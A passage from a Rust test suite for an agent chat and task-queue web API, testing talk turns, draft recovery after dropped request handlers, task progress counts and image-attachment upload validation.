15175        let detail = talk_detail(State(Arc::clone(&ui)), Path(id.clone()))
15176            .await
15177            .expect("detail");
15178        let ids: Vec<&str> = detail.0.personas.iter().map(|p| p.id.as_str()).collect();
15179        assert_eq!(ids.first(), Some(&"default"));
15180        assert!(ids.contains(&"rei") && ids.contains(&"gendo"));
15181
15182        let Json(view) = call("default").await.expect("back to default");
15183        assert_eq!(view.talk.persona, "");
15184
15185        let mut closed = talks.get(&id).expect("reload");
15186        talk::close(&mut closed, &talks).expect("close");
15187        let refused = call("rei").await.expect_err("closed talk");
15188        assert_eq!(refused.status, StatusCode::CONFLICT, "{}", refused.message);
15189        assert!(
15190            refused.message.contains("takes no more turns"),
15191            "{}",
15192            refused.message
15193        );
15194    }
15195
15196    #[tokio::test]
15197    async fn talk_detail_lists_the_tasks_it_has_filed_and_stays_open() {
15198        let f = Fixture::start().await;
15199        let talk_id = seed_talk(&f, "20260904-014455-ab12", "open");
15200        let queue = f.queue();
15201        let mut mine = Task::new(
15202            "rename the loader".to_owned(),
15203            "rename the loader".to_owned(),
15204            PathBuf::from("/repo/magi"),
15205            Source::Agent {
15206                run: talk_id.clone(),
15207                node: "chat".to_owned(),
15208            },
15209        );
15210        let empty = f.get(&format!("/api/talks/{talk_id}")).await.json();
15211        assert_eq!(empty["task_progress"]["state"], "none");
15212        assert_eq!(empty["task_progress"]["total"], 0);
15213        queue.put(&mut mine).expect("file the task");
15214        let mut theirs = Task::new(
15215            "unrelated".to_owned(),
15216            "unrelated".to_owned(),
15217            PathBuf::from("/repo/magi"),
15218            Source::Human,
15219        );
15220        // A later task linked through origin_chat alone is outside this list.
15221        theirs.origin_chat = Some(talk_id.clone());
15222        queue.put(&mut theirs).expect("file the task");
15223
15224        let res = f.get(&format!("/api/talks/{talk_id}")).await;
15225        assert_eq!(res.status, 200, "{}", res.body);
15226        let body = res.json();
15227        assert_eq!(
15228            body["status"], "open",
15229            "filing a task does not close a talk"
15230        );
15231        let tasks = body["tasks"].as_array().expect("tasks array");
15232        assert_eq!(tasks.len(), 1, "only this talk's own task is listed");
15233        assert_eq!(tasks[0]["id"], mine.id);
15234        for status in [
15235            TaskStatus::Queued,
15236            TaskStatus::Running,
15237            TaskStatus::Held,
15238            TaskStatus::Failed,
15239            TaskStatus::Blocked,
15240            TaskStatus::Parked,
15241            TaskStatus::Done,
15242            TaskStatus::Queued,
15243        ] {
15244            mine.status = status;
15245            queue.put(&mut mine).expect("update status");
15246            let detail = f.get(&format!("/api/talks/{talk_id}")).await.json();
15247            let progress = &detail["task_progress"];
15248            assert_eq!(progress["total"], 1);
15249            assert_eq!(progress["counts"][status.as_str()], 1);
15250            assert_eq!(detail["tasks"][0]["status"], status.as_str());
15251            assert_eq!(detail["status"], "open", "completion never closes the chat");
15252            if status == TaskStatus::Done {
15253                assert_eq!(progress["state"], "complete");
15254                assert_eq!(progress["done"], 1);
15255                assert_eq!(progress["unfinished_ids"], serde_json::json!([]));
15256            } else {
15257                assert_eq!(progress["state"], "incomplete");
15258                assert_eq!(progress["done"], 0);
15259                assert_eq!(progress["unfinished_ids"], serde_json::json!([mine.id]));
15260            }
15261        }
15262    }
15263
15264    #[test]
15265    fn talk_task_progress_counts_mixed_statuses() {
15266        let mut tasks: Vec<_> = [
15267            TaskStatus::Queued,
15268            TaskStatus::Running,
15269            TaskStatus::Held,
15270            TaskStatus::Failed,
15271            TaskStatus::Blocked,
15272            TaskStatus::Parked,
15273            TaskStatus::Done,
15274        ]
15275        .into_iter()
15276        .map(|status| {
15277            let mut task = Task::new(
15278                "task".into(),
15279                "task".into(),
15280                PathBuf::from("/repo"),
15281                Source::Human,
15282            );
15283            task.status = status;
15284            task
15285        })
15286        .collect();
15287        let progress = talk_task_progress(&tasks);
15288        assert_eq!(progress.state, "incomplete");
15289        assert_eq!(progress.total, 7);
15290        assert_eq!(progress.done, 1);
15291        assert_eq!(progress.unfinished_ids.len(), 6);
15292        assert!(progress.counts.values().all(|count| *count == 1));
15293        assert_eq!(
15294            progress.unfinished_ids,
15295            tasks[..6]
15296                .iter()
15297                .map(|task| task.id.clone())
15298                .collect::<Vec<_>>()
15299        );
15300
15301        for task in &mut tasks {
15302            task.status = TaskStatus::Done;
15303        }
15304        let complete = talk_task_progress(&tasks);
15305        assert_eq!(complete.state, "complete");
15306        assert_eq!(complete.done, 7);
15307        assert!(complete.unfinished_ids.is_empty());
15308        tasks[0].status = TaskStatus::Queued;
15309        let requeued = talk_task_progress(&tasks);
15310        assert_eq!(requeued.state, "incomplete");
15311        assert_eq!(requeued.done, 6);
15312        assert_eq!(requeued.unfinished_ids, vec![tasks[0].id.clone()]);
15313
15314        let empty = talk_task_progress(&[]);
15315        assert_eq!(empty.state, "none");
15316        assert_eq!(empty.total, 0);
15317        assert_eq!(empty.done, 0);
15318        assert!(empty.unfinished_ids.is_empty());
15319        assert!(empty.counts.values().all(|count| *count == 0));
15320    }
15321
15322    #[tokio::test]
15323    async fn talk_say_records_the_operators_turn_before_the_agents_reply_lands() {
15324        let (_tmp, _repo, f) = talk_fixture().await;
15325        let id = f.post("/api/talks", None).await.json()["id"]
15326            .as_str()
15327            .expect("id")
15328            .to_owned();
15329
15330        let res = f
15331            .post(
15332                &format!("/api/talks/{id}/say"),
15333                Some(r#"{"text":"what does the queue module do?"}"#),
15334            )
15335            .await;
15336        assert_eq!(res.status, 202, "{}", res.body);
15337        let queued = res.json();
15338        let turns = queued["turns"].as_array().expect("turns array");
15339        assert_eq!(
15340            turns.len(),
15341            1,
15342            "the answer reflects only what is on disk the instant it is sent, \
15343             before the agent's turn - which can run for the whole of \
15344             `[graph] timeout_talk` - has a chance to land: {queued}"
15345        );
15346        assert_eq!(turns[0]["who"], "operator");
15347        assert_eq!(turns[0]["body"], "what does the queue module do?");
15348        assert_eq!(
15349            queued["thinking"], true,
15350            "the accepted response exposes the background turn claim: {queued}"
15351        );
15352
15353        let mut turns_after = 1;
15354        for _ in 0..SETTLE_STEPS {
15355            let detail = f.get(&format!("/api/talks/{id}")).await.json();
15356            turns_after = detail["turns"].as_array().expect("turns array").len();
15357            if turns_after == 2 {
15358                break;
15359            }
15360            tokio::time::sleep(Duration::from_millis(10)).await;
15361        }
15362        assert_eq!(turns_after, 2, "the agent's reply eventually lands");
15363    }
15364
15365    /// A phone that reloads mid-request drops `talk_say`'s whole handler
15366    /// future without warning - see `TalkTurnGuard`'s doc. The bug this
15367    /// guards against: `talk::record` used to return, and only *then* did the
15368    /// handler make a second, separate disk round trip before spawning the
15369    /// agent's reply task. A future dropped in that gap left a message
15370    /// recorded on disk with no reply task ever started and no way back short
15371    /// of a fresh message - and the gap was not even the whole story: *any*
15372    /// `.await` in this handler, including the very first one, is a point
15373    /// where a drop can land after the awaited work already finished but
15374    /// before this handler's own code resumes to act on it. `record` now
15375    /// runs inside the task `tokio::spawn` hands to the runtime before this
15376    /// handler ever awaits anything of its own again, so there is nothing
15377    /// left in *this* handler's future for a disconnect to interrupt between
15378    /// the message landing on disk and the reply task starting.
15379    ///
15380    /// A real socket disconnect cannot be relied on to land in the old gap
15381    /// from a test - over loopback, `talk_say` typically finishes before the
15382    /// kernel even reports the peer gone. `JoinHandle::abort` reproduces the
15383    /// same failure mode directly: it drops the task's future at whatever
15384    /// point it has reached, exactly what axum does to the handler future,
15385    /// without needing to win a real network race. Sweeping the delay before
15386    /// aborting samples a range of points the task's execution can be at,
15387    /// including where the old code sat waiting on its second disk round
15388    /// trip - confirmed by reverting this fix locally and watching this same
15389    /// sweep catch a talk stuck with the operator's turn recorded and no
15390    /// reply ever following.
15391    #[tokio::test]
15392    async fn a_dropped_handler_future_after_recording_still_gets_an_agent_reply() {
15393        let tmp = TempDir::new().expect("tempdir");
15394        let repo = tmp.path().join("repo");
15395        std::fs::create_dir_all(&repo).expect("repo dir");
15396        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15397        let home = TempDir::new().expect("temp home");
15398        let talks = Talks::at(home.path().join("talks"));
15399        let ui = Arc::new(
15400            Ui::new(
15401                Queue::at(home.path().join("queue")),
15402                Questions::at(home.path().join("questions")),
15403                talks.clone(),
15404                home.path().join("runs"),
15405                home.path().to_path_buf(),
15406                repo.clone(),
15407            )
15408            .with_worktrees_root(home.path().join("wt")),
15409        );
15410        let cfg = config_for(&repo).await.expect("discover config");
15411
15412        for delay in 0..40u32 {
15413            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
15414            let id = talk.id.clone();
15415
15416            let handler = tokio::spawn(talk_say(
15417                State(Arc::clone(&ui)),
15418                Path(id.clone()),
15419                Ok(Json(NewTalkTurn {
15420                    reply_to: None,
15421                    text: "what does the queue module do?".to_owned(),
15422                    attachments: Vec::new(),
15423                })),
15424            ));
15425            tokio::time::sleep(Duration::from_micros(u64::from(delay) * 500)).await;
15426            handler.abort();
15427            // Wait out the abort so the next iteration's talk does not race
15428            // this one's still-unwinding turn guard.
15429            let _ = handler.await;
15430
15431            let mut turns = 0;
15432            for _ in 0..SETTLE_STEPS {
15433                if let Ok(fresh) = talks.get(&id) {
15434                    turns = fresh.turns.len();
15435                    if turns != 1 {
15436                        break;
15437                    }
15438                }
15439                tokio::time::sleep(Duration::from_millis(10)).await;
15440            }
15441            assert_ne!(
15442                turns, 1,
15443                "delay {delay}: talk {id} recorded the operator's turn but \
15444                 the agent never answered - the reply task was never \
15445                 started after the handler future was dropped"
15446            );
15447        }
15448    }
15449
15450    /// The same drop, landing on `talk_say`'s other durable write.
15451    ///
15452    /// When a turn is already running, the busy branch persists the
15453    /// operator's text as a queued draft and then reclaims the turn slot if
15454    /// the holder gave it up in the meantime - and whoever reclaims owes that
15455    /// draft a `drain_loop`. `blocking` runs its closure on `spawn_blocking`,
15456    /// which finishes whether or not the future awaiting it is still there,
15457    /// so a handler dropped at that `.await` used to leave the draft written
15458    /// to disk with the reclaimed guard dropped unread and no drainer ever
15459    /// started: the message sat queued until some unrelated later `say`
15460    /// happened to pick it up.
15461    ///
15462    /// This used to drive the handler future by hand, polling it a fixed
15463    /// number of times to park it at the `.await` where it asks for the turn
15464    /// and finds it busy, before the reclaim's slot-free case could be set up
15465    /// underneath it. That assumed a fixed number of polls lands at a fixed
15466    /// `.await` - which is not true: `blocking` awaits a `spawn_blocking`
15467    /// `JoinHandle`, and a `JoinHandle` already finished resolves in a single
15468    /// poll, so any number of this handler's several `blocking` awaits can
15469    /// collapse into one poll under load, landing the drive somewhere other
15470    /// than intended - including, occasionally, straight past the handler's
15471    /// own completion, which made polling it again panic with "async fn
15472    /// resumed after completion". No poll count fixes that; the handler's
15473    /// progress simply is not something a caller outside it can observe by
15474    /// counting.
15475    ///
15476    /// [`BusyQueueGate`] replaces the poll count with a real stop point
15477    /// inside the write itself, so the interleaving under test is pinned by
15478    /// an event instead of a guess: the gate fires only once the handler has
15479    /// actually decided `Busy` and is about to persist the draft, and it
15480    /// blocks that write until the test lets it through. Between those two
15481    /// moments the test drains the turn the handler found busy - through
15482    /// `drain_loop`, the protocol's other half - and then aborts the handler
15483    /// task outright, the same way axum drops a disconnected request's
15484    /// future. The write, and the reclaim it may do, run to completion
15485    /// regardless: they live in the `tokio::spawn` task the busy branch hands
15486    /// to the runtime before ever touching the gate, wholly independent of
15487    /// whether the handler that started it is still around - which is what
15488    /// this test is actually checking. A drainer other than that reclaim
15489    /// cannot exist here: the test's own `drain_loop` call happens before the
15490    /// gate opens, so it runs while the queue is still empty and hands the
15491    /// turn straight back rather than draining anything, closing off the
15492    /// possibility of the final assertion passing without the reclaim ever
15493    /// having done its job.
15494    #[tokio::test]
15495    async fn a_dropped_handler_future_after_queueing_still_drains_the_draft() {
15496        let tmp = TempDir::new().expect("tempdir");
15497        let repo = tmp.path().join("repo");
15498        std::fs::create_dir_all(&repo).expect("repo dir");
15499        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15500        let home = TempDir::new().expect("temp home");
15501        let talks = Talks::at(home.path().join("talks"));
15502        let ui = Arc::new(
15503            Ui::new(
15504                Queue::at(home.path().join("queue")),
15505                Questions::at(home.path().join("questions")),
15506                talks.clone(),
15507                home.path().join("runs"),
15508                home.path().to_path_buf(),
15509                repo.clone(),
15510            )
15511            .with_worktrees_root(home.path().join("wt")),
15512        );
15513        let cfg = config_for(&repo).await.expect("discover config");
15514
15515        for attempt in 0..3u32 {
15516            let talk = talk::begin(&talks, &cfg, repo.clone(), None).expect("begin talk");
15517            let id = talk.id.clone();
15518            // A turn is already running, which is what sends `talk_say` down
15519            // the busy branch.
15520            let turn_guard = ui
15521                .begin_talk_turn(&id)
15522                .expect("claim the turn")
15523                .expect("a fresh talk owes nobody a turn");
15524
15525            let (reached_tx, reached_rx) = tokio::sync::oneshot::channel();
15526            let (release_tx, release_rx) = std::sync::mpsc::channel();
15527            ui.set_busy_queue_gate(BusyQueueGate {
15528                reached: reached_tx,
15529                release: release_rx,
15530            });
15531
15532            let handler = tokio::spawn(talk_say(
15533                State(Arc::clone(&ui)),
15534                Path(id.clone()),
15535                Ok(Json(NewTalkTurn {
15536                    reply_to: None,
15537                    text: "what does the queue module do?".to_owned(),
15538                    attachments: Vec::new(),
15539                })),
15540            ));
15541
15542            // Wait for the busy branch to actually reach the gate, rather
15543            // than for any fixed number of polls of anything - a bounded
15544            // wait rather than a bare `.await` so a regression that never
15545            // reaches the gate fails the test instead of hanging it.
15546            tokio::time::timeout(Duration::from_secs(5), reached_rx)
15547                .await
15548                .unwrap_or_else(|_| {
15549                    panic!(
15550                        "attempt {attempt}: talk {id} never reached the busy branch's queue write"
15551                    )
15552                })
15553                .expect("the busy branch dropped the gate without using it");
15554            assert!(
15555                crate::consult::try_publication_guard(&talks, &id)
15556                    .expect("publication fence")
15557                    .is_none(),
15558                "a queued worker cannot promote text before its successor reservation is published"
15559            );
15560
15561            // A listener replacement queues its writer behind this accepted
15562            // mutation. Even disconnecting the HTTP caller must not release
15563            // admission before the write-to-worker handoff has completed.
15564            let closing = Arc::clone(&ui.admissions).write_owned();
15565            tokio::pin!(closing);
15566            std::future::poll_fn(|cx| {
15567                assert!(closing.as_mut().poll(cx).is_pending());
15568                std::task::Poll::Ready(())
15569            })
15570            .await;
15571            assert!(
15572                ui.begin_admission().is_err(),
15573                "replacement blocks later admissions"
15574            );
15575
15576            // The turn that was running now finishes and gives the slot up
15577            // the way a real one does - through `drain_loop`, which finds
15578            // nothing queued yet (the write is still held at the gate) and
15579            // releases. The handler, parked inside `spawn_blocking` on the
15580            // other side of the gate, still believes the talk is busy -
15581            // exactly the interleaving the reclaim exists for.
15582            let running = talks.get(&id).expect("reload talk");
15583            drain_loop(running, talks.clone(), cfg.clone(), id.clone(), turn_guard).await;
15584
15585            // Drop the handler future now, the way a reloading phone drops
15586            // it: suspended waiting on the busy branch's answer, having
15587            // itself made no more progress since it handed the write off.
15588            handler.abort();
15589            let _ = handler.await;
15590            std::future::poll_fn(|cx| {
15591                assert!(
15592                    closing.as_mut().poll(cx).is_pending(),
15593                    "HTTP cancellation must not abandon a publishing transaction"
15594                );
15595                std::task::Poll::Ready(())
15596            })
15597            .await;
15598            assert!(
15599                crate::consult::try_publication_guard(&talks, &id)
15600                    .expect("publication fence after disconnect")
15601                    .is_none()
15602            );
15603
15604            // Only now let the gated write proceed. It persists the draft
15605            // and reclaims the now-free slot from inside the task the busy
15606            // branch already spawned - unaffected by the handler's abort
15607            // above, since that task was independent of the handler's own
15608            // future from the moment it was spawned.
15609            let _ = release_tx.send(());
15610            drop(
15611                tokio::time::timeout(Duration::from_secs(5), closing)
15612                    .await
15613                    .expect("short admission transaction should release for replacement"),
15614            );
15615            assert!(
15616                crate::consult::try_publication_guard(&talks, &id)
15617                    .expect("publication fence after acknowledgement")
15618                    .is_some(),
15619                "the publication fence is not retained by the long response"
15620            );
15621
15622            // A settled talk: the draft drained into an operator turn and
15623            // answered.
15624            let mut fresh = talks.get(&id).expect("reload talk");
15625            for _ in 0..SETTLE_STEPS {
15626                if fresh.pending.is_empty() && fresh.turns.len() == 2 {
15627                    break;
15628                }
15629                tokio::time::sleep(Duration::from_millis(10)).await;
15630                fresh = talks.get(&id).expect("reload talk");
15631            }
15632            assert!(
15633                fresh.pending.is_empty() && fresh.turns.len() == 2,
15634                "attempt {attempt}: talk {id} left the operator's text queued \
15635                 with no drainer - the reclaimed turn was dropped along with \
15636                 the handler future (pending {:?}, {} turns)",
15637                fresh.pending,
15638                fresh.turns.len()
15639            );
15640        }
15641    }
15642
15643    #[tokio::test]
15644    async fn editing_a_recovered_pending_draft_restarts_its_drain_once() {
15645        let (_tmp, _repo, f) = talk_fixture().await;
15646        let id = f.post("/api/talks", None).await.json()["id"]
15647            .as_str()
15648            .expect("id")
15649            .to_owned();
15650        let store = f.talks();
15651        let mut recovered = store.get(&id).expect("opened talk");
15652        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
15653            .expect("persist pending draft without a live turn");
15654
15655        let edited = f
15656            .post(
15657                &format!("/api/talks/{id}/pending/edit"),
15658                Some(r#"{"text":"corrected","expected_text":"saved before restart","expected_attachments":[]}"#),
15659            )
15660            .await;
15661        assert_eq!(edited.status, 200, "{}", edited.body);
15662        assert!(edited.json()["thinking"].as_bool().unwrap());
15663
15664        let mut detail = f.get(&format!("/api/talks/{id}")).await.json();
15665        for _ in 0..SETTLE_STEPS {
15666            if detail["turns"].as_array().expect("turns").len() == 2 {
15667                break;
15668            }
15669            tokio::time::sleep(Duration::from_millis(10)).await;
15670            detail = f.get(&format!("/api/talks/{id}")).await.json();
15671        }
15672        let turns = detail["turns"].as_array().expect("turns");
15673        assert_eq!(
15674            turns.len(),
15675            2,
15676            "the recovered draft must run once: {detail}"
15677        );
15678        assert_eq!(turns[0]["body"], "corrected");
15679        assert_eq!(detail["pending"], "");
15680    }
15681
15682    #[tokio::test]
15683    async fn recovered_pending_requires_explicit_resume_and_duplicate_resume_runs_once() {
15684        let tmp = TempDir::new().expect("tempdir");
15685        let repo = tmp.path().join("repo");
15686        std::fs::create_dir_all(&repo).expect("repo dir");
15687        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15688        let f = Fixture::with_repo(repo).await;
15689        let id = f.post("/api/talks", None).await.json()["id"]
15690            .as_str()
15691            .expect("id")
15692            .to_owned();
15693        let store = f.talks();
15694        let mut recovered = store.get(&id).expect("opened talk");
15695        talk::queue(&mut recovered, &store, "saved before restart", Vec::new())
15696            .expect("persist pending draft without a live turn");
15697
15698        let refused = f
15699            .post(
15700                &format!("/api/talks/{id}/say"),
15701                Some(r#"{"text":"new message"}"#),
15702            )
15703            .await;
15704        assert_eq!(refused.status, 409, "{}", refused.body);
15705        assert!(refused.body.contains("resume"), "{}", refused.body);
15706        let saved = store.get(&id).expect("draft remains after refusal");
15707        assert!(saved.turns.is_empty());
15708        assert_eq!(saved.pending, "saved before restart");
15709
15710        let say_path = format!("/api/talks/{id}/say");
15711        let (first, second) = tokio::join!(
15712            f.post(&say_path, Some(r#"{"text":"concurrent one"}"#)),
15713            f.post(&say_path, Some(r#"{"text":"concurrent two"}"#)),
15714        );
15715        assert_eq!(first.status, 409, "{}", first.body);
15716        assert_eq!(second.status, 409, "{}", second.body);
15717        let saved = store
15718            .get(&id)
15719            .expect("draft remains after concurrent refusals");
15720        assert!(saved.turns.is_empty());
15721        assert_eq!(saved.pending, "saved before restart");
15722
15723        let resumed = f
15724            .post(&format!("/api/talks/{id}/pending/resume"), None)
15725            .await;
15726        assert_eq!(resumed.status, 202, "{}", resumed.body);
15727        let duplicate = f
15728            .post(&format!("/api/talks/{id}/pending/resume"), None)
15729            .await;
15730        assert_eq!(duplicate.status, 409, "{}", duplicate.body);
15731
15732        for _ in 0..SETTLE_STEPS {
15733            if store.get(&id).expect("talk").turns.len() == 2 {
15734                break;
15735            }
15736            tokio::time::sleep(Duration::from_millis(10)).await;
15737        }
15738        let finished = store.get(&id).expect("finished talk");
15739        assert_eq!(finished.turns.len(), 2, "{finished:?}");
15740        assert_eq!(finished.turns[0].body, "saved before restart");
15741        assert!(finished.pending.is_empty());
15742    }
15743
15744    #[tokio::test]
15745    async fn an_image_only_recovered_draft_resumes_without_text() {
15746        let (_tmp, _repo, f) = talk_fixture().await;
15747        let id = f.post("/api/talks", None).await.json()["id"]
15748            .as_str()
15749            .expect("id")
15750            .to_owned();
15751        let uploaded = f
15752            .post_bytes(
15753                &format!("/api/talks/{id}/attachments"),
15754                &[("Content-Type", "image/png"), ("X-Filename", "saved.png")],
15755                PNG_BYTES,
15756            )
15757            .await;
15758        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
15759        let attachment = f
15760            .talks()
15761            .attachment_meta(&id, uploaded.json()["id"].as_str().expect("attachment id"))
15762            .expect("attachment metadata")
15763            .expect("stored attachment");
15764        let store = f.talks();
15765        let mut recovered = store.get(&id).expect("opened talk");
15766        talk::queue(&mut recovered, &store, "", vec![attachment]).expect("queue image only");
15767
15768        let resumed = f
15769            .post(&format!("/api/talks/{id}/pending/resume"), None)
15770            .await;
15771        assert_eq!(resumed.status, 202, "{}", resumed.body);
15772        for _ in 0..SETTLE_STEPS {
15773            if store.get(&id).expect("talk").turns.len() == 2 {
15774                break;
15775            }
15776            tokio::time::sleep(Duration::from_millis(10)).await;
15777        }
15778        let finished = store.get(&id).expect("finished talk");
15779        assert_eq!(finished.turns.len(), 2, "{finished:?}");
15780        assert!(finished.turns[0].body.is_empty());
15781        assert_eq!(finished.turns[0].attachments.len(), 1);
15782        assert!(finished.pending_attachments.is_empty());
15783    }
15784
15785    #[tokio::test]
15786    async fn closed_talk_refuses_pending_mutations_without_changing_the_record() {
15787        let (_tmp, _repo, f) = talk_fixture().await;
15788        let id = f.post("/api/talks", None).await.json()["id"]
15789            .as_str()
15790            .expect("id")
15791            .to_owned();
15792        let closed = f.post(&format!("/api/talks/{id}/close"), None).await;
15793        assert_eq!(closed.status, 200, "{}", closed.body);
15794        let before_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15795            .expect("serialize closed talk");
15796        for (path, body) in [
15797            (format!("/api/talks/{id}/pending/resume"), None),
15798            (
15799                format!("/api/talks/{id}/pending/clear"),
15800                Some(r#"{"expected_text":"","expected_attachments":[]}"#),
15801            ),
15802            (
15803                format!("/api/talks/{id}/pending/edit"),
15804                Some(r#"{"text":"x","expected_text":"","expected_attachments":[]}"#),
15805            ),
15806            (format!("/api/talks/{id}/say"), Some(r#"{"text":"x"}"#)),
15807        ] {
15808            let response = f.post(&path, body).await;
15809            assert_eq!(response.status, 409, "{}", response.body);
15810        }
15811        let after_clear = serde_json::to_value(f.talks().get(&id).expect("closed talk"))
15812            .expect("serialize closed talk");
15813        assert_eq!(
15814            after_clear, before_clear,
15815            "clear must not rewrite a closed talk"
15816        );
15817    }
15818
15819    /// Keeps both claims observable long enough to exercise the distinction
15820    /// between one busy talk and a globally locked Chat surface.
15821    const SLOW_MOCK_AGENT_TOML: &str = "[[agents]]\nid = \"mock\"\nkind = \"command\"\ncommand = [\"sh\", \"-c\", \"cat >/dev/null && sleep 3 && printf ok\"]\n";
15822
15823    #[tokio::test]
15824    async fn talks_report_independent_thinking_claims_and_queue_a_second_message() {
15825        let tmp = TempDir::new().expect("tempdir");
15826        let repo = tmp.path().join("repo");
15827        std::fs::create_dir_all(&repo).expect("repo dir");
15828        std::fs::write(repo.join("magi.toml"), SLOW_MOCK_AGENT_TOML).expect("write config");
15829        let f = Fixture::with_repo(repo).await;
15830        let id_a = f.post("/api/talks", None).await.json()["id"]
15831            .as_str()
15832            .unwrap()
15833            .to_owned();
15834        let id_b = f.post("/api/talks", None).await.json()["id"]
15835            .as_str()
15836            .unwrap()
15837            .to_owned();
15838
15839        let a = f
15840            .post(&format!("/api/talks/{id_a}/say"), Some(r#"{"text":"a"}"#))
15841            .await;
15842        assert_eq!(a.status, 202, "{}", a.body);
15843        assert_eq!(a.json()["thinking"], true);
15844        let b = f
15845            .post(&format!("/api/talks/{id_b}/say"), Some(r#"{"text":"b"}"#))
15846            .await;
15847        assert_eq!(b.status, 202, "{}", b.body);
15848        assert_eq!(b.json()["thinking"], true);
15849
15850        let listed = f.get("/api/talks").await.json();
15851        for id in [&id_a, &id_b] {
15852            let view = listed
15853                .as_array()
15854                .unwrap()
15855                .iter()
15856                .find(|talk| talk["id"] == *id)
15857                .unwrap();
15858            assert_eq!(view["thinking"], true, "{listed}");
15859        }
15860        let repeated = f
15861            .post(
15862                &format!("/api/talks/{id_a}/say"),
15863                Some(r#"{"text":"again"}"#),
15864            )
15865            .await;
15866        assert_eq!(repeated.status, 202, "{}", repeated.body);
15867        assert_eq!(repeated.json()["pending"], "again");
15868    }
15869
15870    /// Bytes `sniffed_mime` recognises as `image/png` - the signature plus a
15871    /// few more, since real uploads are never exactly eight bytes.
15872    const PNG_BYTES: &[u8] = b"\x89PNG\r\n\x1a\n\x00\x00\x00\x0dIHDR\x00\x00\x00\x01";
15873
15874    #[tokio::test]
15875    async fn a_png_attachment_upload_is_201_and_get_returns_it_with_nosniff() {
15876        let f = Fixture::start().await;
15877        let id = seed_talk(&f, "20260905-000000-a1b2", "open");
15878
15879        let res = f
15880            .post_bytes(
15881                &format!("/api/talks/{id}/attachments"),
15882                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15883                PNG_BYTES,
15884            )
15885            .await;
15886        assert_eq!(res.status, 201, "{}", res.body);
15887        let body = res.json();
15888        assert_eq!(body["name"], "shot.png");
15889        assert_eq!(body["mime"], "image/png");
15890        assert_eq!(body["bytes"], PNG_BYTES.len());
15891        let att_id = body["id"].as_str().expect("id").to_owned();
15892        assert_eq!(
15893            att_id.len(),
15894            32,
15895            "the id must never be a client-suppliable path: {att_id}"
15896        );
15897
15898        let got = f
15899            .get(&format!("/api/talks/{id}/attachments/{att_id}"))
15900            .await;
15901        assert_eq!(got.status, 200, "{}", got.body);
15902        assert_eq!(got.header("content-type"), Some("image/png"));
15903        assert_eq!(got.header("x-content-type-options"), Some("nosniff"));
15904        assert_eq!(got.bytes, PNG_BYTES);
15905    }
15906
15907    #[tokio::test]
15908    async fn an_svg_a_text_file_and_an_oversized_upload_are_all_4xx() {
15909        let f = Fixture::start().await;
15910        let id = seed_talk(&f, "20260905-000000-c3d4", "open");
15911
15912        // SVG can carry a `<script>`, so it is never on the whitelist even
15913        // though it is a real IANA image type.
15914        let svg = f
15915            .post_bytes(
15916                &format!("/api/talks/{id}/attachments"),
15917                &[("Content-Type", "image/svg+xml")],
15918                b"<svg xmlns=\"http://www.w3.org/2000/svg\"></svg>",
15919            )
15920            .await;
15921        assert!(
15922            (400..500).contains(&svg.status),
15923            "svg must be refused: {} {}",
15924            svg.status,
15925            svg.body
15926        );
15927        assert!(svg.body.contains("SVG"), "{}", svg.body);
15928
15929        let text = f
15930            .post_bytes(
15931                &format!("/api/talks/{id}/attachments"),
15932                &[("Content-Type", "text/plain")],
15933                b"just some text",
15934            )
15935            .await;
15936        assert!(
15937            (400..500).contains(&text.status),
15938            "an unlisted type must be refused: {} {}",
15939            text.status,
15940            text.body
15941        );
15942
15943        // The declared type is a real png, but the size check runs before
15944        // the bytes are even looked at.
15945        let oversized = vec![0u8; ATTACHMENT_MAX_BYTES + 1];
15946        let big = f
15947            .post_bytes(
15948                &format!("/api/talks/{id}/attachments"),
15949                &[("Content-Type", "image/png")],
15950                &oversized,
15951            )
15952            .await;
15953        assert_eq!(
15954            big.status,
15955            StatusCode::PAYLOAD_TOO_LARGE.as_u16(),
15956            "{}",
15957            big.body
15958        );
15959    }
15960
15961    #[tokio::test]
15962    async fn a_mislabeled_upload_is_refused_even_though_the_declared_type_is_on_the_whitelist() {
15963        let f = Fixture::start().await;
15964        let id = seed_talk(&f, "20260905-000000-d4e5", "open");
15965
15966        // A whitelisted `Content-Type`, but bytes that are not actually a
15967        // png - the declared header alone is never trusted.
15968        let res = f
15969            .post_bytes(
15970                &format!("/api/talks/{id}/attachments"),
15971                &[("Content-Type", "image/png")],
15972                b"<html>not a picture</html>",
15973            )
15974            .await;
15975        assert!((400..500).contains(&res.status), "{}", res.body);
15976    }
15977
15978    #[tokio::test]
15979    async fn an_unknown_attachment_id_is_a_404() {
15980        let f = Fixture::start().await;
15981        let id = seed_talk(&f, "20260905-000000-e5f6", "open");
15982
15983        let res = f
15984            .get(&format!("/api/talks/{id}/attachments/{}", "0".repeat(32)))
15985            .await;
15986        assert_eq!(res.status, 404, "{}", res.body);
15987    }
15988
15989    #[tokio::test]
15990    async fn talk_say_with_only_an_attachment_and_no_body_is_accepted_and_persists() {
15991        let f = Fixture::start().await;
15992        let id = seed_talk(&f, "20260905-000000-f6a7", "open");
15993
15994        let uploaded = f
15995            .post_bytes(
15996                &format!("/api/talks/{id}/attachments"),
15997                &[("Content-Type", "image/png"), ("X-Filename", "shot.png")],
15998                PNG_BYTES,
15999            )
16000            .await;
16001        assert_eq!(uploaded.status, 201, "{}", uploaded.body);
16002        let att_id = uploaded.json()["id"].as_str().expect("id").to_owned();
16003
16004        let res = f
16005            .post(
16006                &format!("/api/talks/{id}/say"),
16007                Some(&format!(r#"{{"text":"","attachments":["{att_id}"]}}"#)),
16008            )
16009            .await;
16010        assert_eq!(res.status, 202, "{}", res.body);
16011        let queued = res.json();
16012        let turns = queued["turns"].as_array().expect("turns array");
16013        assert_eq!(
16014            turns.len(),
16015            1,
16016            "an empty body with an attachment is still a turn: {queued}"
16017        );
16018        assert_eq!(turns[0]["who"], "operator");
16019        assert_eq!(turns[0]["body"], "");
16020        let atts = turns[0]["attachments"]
16021            .as_array()
16022            .expect("attachments array");
16023        assert_eq!(atts.len(), 1);
16024        assert_eq!(atts[0]["id"], att_id);
